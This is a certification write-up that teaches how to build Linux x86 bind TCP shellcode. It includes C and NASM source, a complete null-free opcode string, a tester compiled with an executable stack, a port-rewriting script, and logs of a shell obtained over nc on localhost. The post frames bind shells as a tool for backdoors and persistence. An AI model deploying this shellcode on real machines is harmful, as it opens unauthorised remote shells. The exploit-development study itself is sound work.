SLAE32
SLAE32

This post introduces the first mission of my SLAE32 journey.

Introduction

The main goal for the first SLAE32 assignment is to develop a bind TCP shellcode with the following requirements:

  • Binds to a port;
  • Executing a shell on incoming connection;
  • The shellcode should be null-free;
  • With the ability for the port to be easily configurable. In other words, the connection port should be easy to set up for the user.

Bind TCP shell? What is this?

Generally, a bind TCP shell or bind shell is created when a listening port is configured to redirect the input, output, and errors of an executable (mostly /bin/sh or /bin/bash) to an incoming connection.

In practical terms, any machine connecting to this port will be presented with a shell prompt on the target computer and can interact with it.

Bind Shell
Bind Shell

A TCP bind shell is a common technique to create backdoors and persistence in a target machine.

Basics First

Before putting our hands-on on developing the shellcode, we should be familiar with the fundamental principles of how to create a proper bind shell. This way, we will better understand how the internals work and where to debug if an error occurs.

My approach was to analyze TCP bind shell implementation in a higher-level language, such as C.

C Prototype

Beforehand, analyzing the following code gives an idea of the structure and what syscalls need to be used.

// from https://infosecwriteups.com/expdev-bind-tcp-shellcode-cebb5657a997

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
 int sockfd, acceptfd;
 int port = 9001; // Server Address struct
 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 addr.sin_addr.s_addr = INADDR_ANY;  // 1) Socket Creation (sys_socket 1)
 sockfd = socket(AF_INET, SOCK_STREAM, 0); // 2) Bind() Syscall (sys_bind 2)
 bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); // 3) Listen() Syscall (sys_listen 4)
 listen(sockfd, 0); // 4) Accept() Syscall (sys_accept 5)
 acceptfd = accept(sockfd, NULL, NULL); // 5) Dup2() Syscall
 dup2(acceptfd, 0); // stdin
 dup2(acceptfd, 1); // stdout
 dup2(acceptfd, 2); // stderr // 6) Execve() Syscall
 execve("/bin/sh", NULL, NULL);
 return 0;
}  

Testing the code to see how it behaves.

Compiling with gcc

$ gcc bind.c -o bind

Executing bind and using nc to perform a connection to port 9001 in localhost

C Bind Shell
C Bind Shell

The C bind shell works as expected. From this, we have a reference to build our shellcode.

Checking which syscalls are used

In total, there are six syscalls enumerated below:

socket - 359 - 0x167

bind - 361 - 0x169

listen - 363 - 0x16b

accept4 - 364 - 0x16c

dup2 - 63 - 0x3f

execve - 11 - 0xb

We can use the file /usr/include/x86_64-linux-gnu/asm/unistd_32 to check the definition of each syscall.

Let’s dive into each syscall and analyze why they are used and how we can define them in intel x86 ISA.

1 - Socket syscall (0x167)
 // 1) Socket Creation
 sockfd = socket(AF_INET, SOCK_STREAM, 0);

The socket syscall has 3 parameters

Socket syscall
Socket syscall

domain - The domain argument specifies a communication domain; this selects the protocol family which will be used for communication.

In this case, we are interested in the AF_INET flag which purpose is for IPv4 communication.

Searching on the internet for where Socket is defined in the Linux environment, I found this Stackoverflow question.

After checking each one, the file /usr/include/x86_64-linux-gnu/bits/socket.h has the value we are looking for

AF_INET
AF_INET

We can use the find command this purpose too.

PF_INET
PF_INET

The domain value (PF_INET) = 2

Type - specifies the communication semantics

The type is SOCK_STREAM = 1

protocol - The protocol specifies a particular protocol to be used with the socket.

According to the man page page “Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0”

So, protocol = 0

Translating to assembly:

eax = 0x167
ebx = 0x2
ecx = 0x1
edx = 0
2 - Bind Syscall (0x169)

For this syscall the C code has the following structure:

  • Struct sockaddr_in
// Server Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY; 
  • Bind Syscall
 int sockfd, acceptfd;
 int port = 9001; // Server Address struct
 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 addr.sin_addr.s_addr = INADDR_ANY;  
 sockfd = socket(AF_INET, SOCK_STREAM, 0); 
 // 2) Bind() Syscall
 bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));

bind syscall
bind syscall

With the following arguments:

  • int sockfd - sockfd is the socket descriptor returned by socket() in eax.
  • const struct sockaddr *addr - pointer to struct sockaddr that contains information about your IP address and por
  • socklen_t addrlen - addrlen specifies the size, in bytes, of the address structure pointed to by addr. In other words, addrlen is set to sizeof(struct sockaddr).

int sockfd

First, as we have the socket file descriptor in eax, we can put it directly in ebx, the first argument. –> mov ebx, eax

const struct sockaddr *addr

At first, defining the sockaddr struct appears to be complex, but after some research on how to do it properly, turns out simple. We can define the struct using what I call the “Struct Stack Technique” - an adaption of the execve shellcode stack technique or jmp-call-pop technique.

We need to pass a pointer to the address of the struct. Using this technique, esp will give the address to ecx.

Let’s start creating our sockaddr to the stack. According to the sockets programming tutorial and the C code shown above, this struct is defined by the following parameters:

Sockaddr
Sockaddr Parameters

In pratical terms:

  • AF_INET - 0x2
  • Port Number - 9001 (0x2329)
  • Internet Address - 0.0.0.0 (all IPv4 address in the local machine) -> meaning we can establish a connection from any interface. Very good for persistence purposes
  • 0

sockeln_t addrlen

The value can be obtained from /usr/include/linux/in.h file (#define \__SOCK_SIZE__ 16).

Sock Size
Sock Size

To be more specific, the bind syscall manual page hints about the size. We know that is the size of the sockaddr struct. The man page has a specification on how this struct is organized.

Sock Size
Sock Size

From there, sa_data is defined as a char array of 14 used to determine the protocol address. A char is 1 byte in size, so the array has 14 bytes.

But what is sa_family_t type?

Looking sockets programming tutorial (page 3) says it is an unsigned short and it refers to the AF_XXX address family. An unsigned short is equal to 2 bytes.

Searching where this type is defined in the filesystem it appeared this StackOverflow page points to this doc related to the sys/socket.h.

Searching in the filesystem, we confirm the sa_family_t is defined as an unsigned short type. The doc also specifies it as an unsigned int (2 bytes). See the C data types page.

Sock Size
Sock Size

Doing the math, 2 bytes + 14 bytes = 16 bytes. That’s the confirmation for the sockaddr struct size.

3 - Listen syscall (0x16b)

It only requires 2 parameters. The socket field descriptor we created before and the backlog is the number of connections allowed on the incoming queue. As we want our connection to be immediate, we put the value 0.

listen
Listen syscall

 // 3) Listen() Syscall 
listen(sockfd, 0);
4 - Accept4 syscall (0x16b)

accept4
Accept4 syscall

Simple syscall with four parameters. Returns a nonnegative integer that is a file descriptor for the accepted socket to eax register.

The man page states that addr can be NULL. As consequence, addrlen must be NULL too. Also, mentions If flags are 0, then accept4() is the same as accept().

We just need to null esi as according to the calling conventions –> xor esi, esi

We already have sockfd and the rest are null. Pretty easy to set up.

// 4) Accept() Syscall
acceptfd = accept(sockfd, NULL, NULL); // 5) Dup2() Syscall
5 - Dup2 syscall (0x3f)

Anyone familiar with OS stuff knows the use of the dup family syscalls.

dup2
Dup2 syscall

This duplicates stdinput, stdout, and stderr to the created TCP connection file descriptor. Doing this redirects the input and output of the established connection.

 // 5) Dup2() Syscall
 dup2(acceptfd, 0); // stdin
 dup2(acceptfd, 1); // stdout
 dup2(acceptfd, 2); // stderr
6 - Execve syscall (0xb)

Everything is set up now, and we need to tell the program to execute /bin/sh. The execve takes three arguments, but in this case, we need to fill the first argument to achieve our purposes.

// 6) Execve() Syscall
execve("/bin/sh", NULL, NULL);

“Assembling” our shellcode

Translating the above concepts to assembly follows the same steps. We must carefully prepare and clean the registers according to each syscall, especially eax.

As eax stores the return data from a syscall, its content is always written, and sometimes we need to save eax’s content before calling a syscall.

xor eax, eax    ; zeroes eax
cdq             ; zeroes edx (trick to use less space)

After this, it’s time to set up the syscall arguments having the C code as a reference.

; socket syscall
mov ax, 0x167   ; syscall socket() - 359
push byte 0x02  ; push and pop byte to save space (another trick)
pop ebx         ; PF_INET value from /usr/include/i386-linux-gnu/bits/socket.h
push byte 0x01  
pop ecx         ; setting up SOCK_STREAM = 1
; edx is already zero
int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

EAX contains 0x167, which is sys_socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h, then EBX is set to 0x2 (PF_INET).

Next, the value 0x01 is moved into ECX, which is the value of SOCK_STREAM. EDX is already zero because of the previous cdq instruction.

I just left to use the interruption syscall int 0x80 to create the socket.

If executed successfully, we have our socket. The next step is to set up the bind syscall.

Beforehand, let’s prepare the next syscall.

mov ebx, eax 	; moves socket address to ebx (first arg of bind syscall - sockfd)
xor eax, eax

Then , the sockaddr_in struct is created as follows:

push edx	    ; edx remains zero
;sockaddr struct	
push edx	        ; edx is still zero -> 0.0.0.0 - bind shell listens in all interfaces
push word 0x2923    ; little endian -> 9001 = 0x2329
push word 0x2       ; AF_INET
mov ecx, esp        ; Putting the struct pointer in ECX

The struct is finally defined. The trickiest part to understand, I must say.

EDX is still zero, so pushing zeroes will effectively result in push the IP address 0.0.0.0. This address makes the program listen in all interfaces. This is a clever way if our purpose is to have persistence in a target machine.

The next step is to load the stack with the port number. As Intel works with the little-endian format, we push 0x2923 which is the value 9001. Lastly, pushing 0x2 refers to AF_INET.

Now, it is just a matter of putting 0x10 (16 bytes) to EDX, which represents the size of sockaddr_in struct as mentioned in the previous section, and executing the bind syscall with 0x169 in EAX.

mov dl, 0x10
mov ax, 0x169
int 0x80

The following syscalls are listen and accept4 which work similarly to the above functions.

For the accept4, we already have sockfd in EBX, and we need to clear the other arguments.

For dup2, we use a loop to use fewer instructions to save space while constructing a fully interactive bind shell.

    ; accept4 syscall

	; ebx already has sockfd
	xor eax, eax
	cdq
	xor ecx, ecx
	xor esi, esi
	mov ax, 0x16c 	
	int 0x80

	;xor edi, edi
	mov edx, eax ; edx is already zero

	; dup2 syscall
	mov cl, 0x03
dup2:
	;xor eax, eax
	;mov al, 0x3f
	push byte 0x3f
	pop eax
	mov ebx, edx
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

We reach the final stage, using execve syscall to execute /bin/sh and spawn a shell when a connection is made to the bind port. If all works as expected, a system shell will be provided to the incoming connection, which can interact with the target machine.

; execve
cdq	            ; edx needs to be zero
push ecx	    ; ecx is zero because jnz and we avoid null bytes
push 0x68732f2f ; /bin//ls
push 0x6e69622f
mov ebx, esp
push byte 0xb   ; execve syscall
pop eax
int 0x80

There is an essential step in the above code that we must be aware of, how we place the string /bin/sh in the stack.

push ecx	    ; ecx is zero because jnz and we avoid null bytes
push 0x68732f2f ; "sl//"
push 0x6e69622f ; "nib/"
mov ebx, esp

The stack grows from high to low addresses, so we need to place /bin/sh and null-terminated in reverse order. Besides that, one of the most important details we know is memory alignment. This highly influences CPU performance, and because of this, it will attempt to maximize the memory use as efficiently as possible.

The way it does in a 32-bit ISA is to work with multiples of 4 bytes in the memory address space. So, we need to make our string divisible by 4.

But /bin/sh is a 7-byte string. How do we make it divisible by 4?

There are various ways, but what we can do is “abuse” the slashes. Using / or // is the same in the Linux environment. Using this knowledge, we can use the string /bin//sh to fulfill memory alignment requirements.

As an extra challenge, I leverage this task to develop a script called The x86 "Little-Hexdian" String Convert, which checks if a string passed as an argument is aligned and converts it to hexadecimal in little-endian format.

Here’s a screenshot of the script output.

revHex32
Little-Hexdian

Available in https://github.com/0xnibbles/slae_x86/blob/main/revHex32.py

Final Assembly Code

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Bind Shell (Linux/x86) Assembly
; File Name    : bind_shell.nasm

global	_start

section	.text

_start:
	
	xor eax, eax
	cdq
	
	; socket syscall

	mov ax, 0x167
	;xor ebx, ebx
	;mov bl, 0x02
	push byte 0x02
	pop ebx
	;xor ecx, ecx
	;mov cl, 0x01
	push byte 0x01
	pop ecx
	; edx is already zero
	int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

	; bind syscall

	mov ebx, eax 	; moves socket address to ebx (first arg - sockfd)
	xor eax, eax
	push edx	; edx remains zero
	
	; sockaddr struct	
	
	push edx	; 0.0.0.0
	push word 0x2923 ;little endian -> 9001 = 0x2329
	push word 0x2
	mov ecx, esp
	
	mov dl, 0x10
	mov ax, 0x169
	int 0x80
	
	; listen syscall

	xor eax, eax
	xor ecx, ecx
	; ebx already has sockfd
	mov ax, 0x16b
	;add ax, 0x2
	int 0x80

	; accept4 syscall

	; ebx already has sockfd
	xor eax, eax
	cdq
	xor ecx, ecx
	xor esi, esi
	mov ax, 0x16c 	
	int 0x80

	;xor edi, edi
	mov edx, eax ; edx is already zero

	; dup2
	mov cl, 0x03

dup2:
	push byte 0x3f
	pop eax
	mov ebx, edx
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

	; execve
	cdq	; edx needs to be zero
	;push eax
	push ecx	; ecx is zero because jnz
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	;xor eax, eax
	;mov al, 0xb
	push byte 0xb
	pop eax
	int 0x80	

Compiling and Testing the Shellcode

To be easier to compile my shellcode scripts and get the size and the opcodes, I developed a shell script named assembler.sh

Available in https://github.com/0xnibbles/slae_x86/blob/main/assembler.sh

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ls
bind  bind.c  bind_shell  bind_shell.asm  bind_shell.nasm  bind_shell.o  biShell.sh  original_bind_shell.nasm  syscalls
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ../../assembler.sh bind_shell.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 95

"\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc2\xb1\x03\x6a\x3f\x58\x89\xd3\xfe\xc9\xcd\x80\x75\xf5\x99\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc2\xb1\x03\x6a\x3f\x58\x89\xd3\xfe\xc9\xcd\x80\x75\xf5\x99\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./bind_shell 
Shellcode Length: 95

No errors and our bind shell is awaiting for a connection. Let’s use nc to perform that.

╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -nv 127.0.0.1 9001 
(UNKNOWN) [127.0.0.1] 9001 (?) open
ls
biShell.sh
bind
bind.c
bind_shell
bind_shell.asm
bind_shell.nasm
bind_shell.o
original_bind_shell.nasm
shellcode.c
syscalls
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

Fantastic! The TCP Bind Shell works as expected and was successfully injected into a working program.

What if we want to change the bind port?

One of the requirements for this assignment is the ability to change the bind port used in the shellcode easily. For that, we can change the bytes in the shellcode related to the port and change them for the specific port we want the bind shell waits for a connection.

The following shell script is named biShell.sh replaces the hardcoded 9001 with the port provided by the user as an argument. It automatically converts the port into the hexadecimal little-endian format.

Available at https://github.com/0xnibbles/slae_x86/blob/main/assignments/1-Shell_Bind_TCP/biShell.sh

It accepts one argument - the desired bind port.

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./biShell.sh 9999

[*] Doing magic with your port number
[*] Done

Enjoy this Bind TCP Shellcode with the port 9999

"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

[*] Port converted in hex Little-Endian: 270F

--------------------
[*] Hack the World!
--------------------

Compiling using our shellcode tester and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o bind_shell9999 shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./bind_shell9999 
Shellcode Length: 101

Trying to establish a connection to port 9999

╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -nv 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
ls
biShell.sh
bind
bind.c
bind_shell
bind_shell.asm
bind_shell.nasm
bind_shell.o
bind_shell9999
original_bind_shell.nasm
shellcode.c
syscalls
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86